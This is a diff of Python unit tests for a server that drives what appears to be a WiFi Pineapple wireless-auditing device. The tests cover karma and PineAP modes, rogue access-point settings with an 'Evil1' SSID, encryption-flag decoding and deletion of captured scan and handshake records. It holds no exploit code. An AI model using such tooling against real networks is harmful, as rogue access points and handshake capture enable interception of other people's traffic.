self.assertTrue(payload['karma'])
self.assertTrue(payload['enabled'])
def test_advertise_refuses_when_pool_disabled(self):
server._uci_section = lambda name: {'disable': '1'}
calls = []
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
calls.append((method, path, body)) or (200, {'success': True}))
status, payload = server.h_pineap_advertise(ctx({'enable': True}))
self.assertEqual(status, 400)
self.assertIn('cannot be re-enabled', payload['error'])
self.assertEqual(calls, [])
def test_advanced_preserves_device_settings(self):
calls = []
server._daemon_proxy = lambda *args, **kwargs: (calls.append(args) or (200, {}))
@@ -109,7 +120,8 @@ class PineapModeTest(unittest.TestCase):
server.daemon_sock_call = fake
status, payload = server.h_pineap_mode_get(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['mode'], 'advanced')
# Device truth wins: engine off means the device IS passive now.
self.assertEqual(payload['mode'], 'passive')
self.assertFalse(payload['enabled'])
def test_manual_mimic_change_marks_advanced(self):
+12 -4
View File
@@ -112,7 +112,7 @@ class PineapProxyTest(unittest.TestCase):
if sec == 'wireless.wlan0open':
return 0, "wireless.wlan0open.disabled='1'\nwireless.wlan0open.ssid='pager-open'\nwireless.wlan0open.macaddr='DE:AD:BE:EF:00:01'\nwireless.wlan0open.hidden='1'\n", ''
if sec == 'wireless.radio0':
return 0, "wireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
return 0, "wireless.radio0.band='2g'\nwireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
if sec.startswith('pineapd.@ssidpool'):
return 0, "pineapd.@ssidpool[0].bssid='auto'\npineapd.@ssidpool[0].target='broadcast'\n", ''
return 0, '', ''
@@ -128,8 +128,12 @@ class PineapProxyTest(unittest.TestCase):
server.daemon_sock_call = fake_sock
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['wpa'], {'ssid': 'Evil1', 'passphrase': 'sekret', 'enctype': 'psk2',
'hidden': False, 'enabled': True, 'channel': 6})
self.assertEqual(payload['wpa']['ssid'], 'Evil1')
self.assertEqual(payload['wpa']['passphrase'], 'sekret')
self.assertEqual(payload['wpa']['enctype'], 'psk2')
self.assertEqual(payload['wpa']['hidden'], False)
self.assertEqual(payload['wpa']['enabled'], True)
self.assertEqual(payload['wpa']['channel'], 6)
self.assertEqual(payload['open']['enabled'], False)
self.assertEqual(payload['open']['ssid'], 'pager-open')
self.assertEqual(payload['open']['bssid'], 'DE:AD:BE:EF:00:01')
@@ -137,8 +141,12 @@ class PineapProxyTest(unittest.TestCase):
self.assertEqual(payload['open']['channel'], 6)
self.assertEqual(payload['open']['country'], 'US')
self.assertEqual(payload['open']['target'], 'broadcast')
self.assertEqual(payload['enterprise']['enabled'], True)
self.assertEqual(payload['enterprise']['enabled'], False)
self.assertEqual(payload['enterprise']['ssid'], '')
self.assertEqual(payload['pool']['collecting'], True)
self.assertEqual(payload['radios']['radio0']['band'], '2.4')
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
self.assertEqual(payload['pineape']['enabled'], True)
def test_wifi_set_ap_open_bssid_channel_and_country(self):
sock_calls = []
+17 -4
View File
@@ -76,8 +76,13 @@ class DecodersTest(unittest.TestCase):
self.assertEqual(server.decode_encryption(0x04), 'WPA')
self.assertEqual(server.decode_encryption(0x08), 'WPA2')
self.assertEqual(server.decode_encryption(0x04 | 0x08), 'WPA2 WPA')
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2')
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA')
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2 PSK')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33)), 'WPA3 WPA2 Enterprise')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 40)), 'WPA3 WPA2 SAE')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33) | (1 << 40)), 'WPA3 WPA2 Enterprise')
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 45)), 'WPA3 WPA2 OWE')
self.assertEqual(server.decode_encryption(0x400400110), 'WPA3 PSK')
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA Enterprise')
class ReconDataTest(unittest.TestCase):
@@ -111,7 +116,7 @@ class ReconDataTest(unittest.TestCase):
self.assertEqual(a['ssid'], 'Anderson-5')
self.assertEqual(a['channel'], 149)
self.assertEqual(a['signal'], -76)
self.assertEqual(a['encryption'], 'WPA3 WPA2')
self.assertEqual(a['encryption'], 'WPA3 WPA2 PSK')
self.assertFalse(a['hidden'])
hidden = aps['50:6F:9A:01:00:00']
self.assertTrue(hidden['hidden'])
@@ -390,6 +395,15 @@ class ReconExtrasTest(unittest.TestCase):
status, data = server.h_recon_delete(type('C', (), {'args': ('999',)})())
self.assertEqual(status, 404)
def test_delete_all_clears_every_scan(self):
status, data = server.h_recon_delete_all(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertEqual(data['deleted'], 2)
for table in ('scan', 'ssid', 'wifi_device', 'handshake',
'hostap_basic', 'hostap_chalresp'):
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM %s' % table)
self.assertEqual(rows[0]['c'], 0, table)
def test_events_lists_db_rows(self):
status, data = server.h_recon_events(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
@@ -1193,4 +1207,3 @@ class ReconRoutesTest(unittest.TestCase):
method = 'GET' if path.endswith(('status', 'scans', 'events')) else 'POST'
h, args = server.ROUTER.dispatch(method, path)
self.assertIsNotNone(h, path)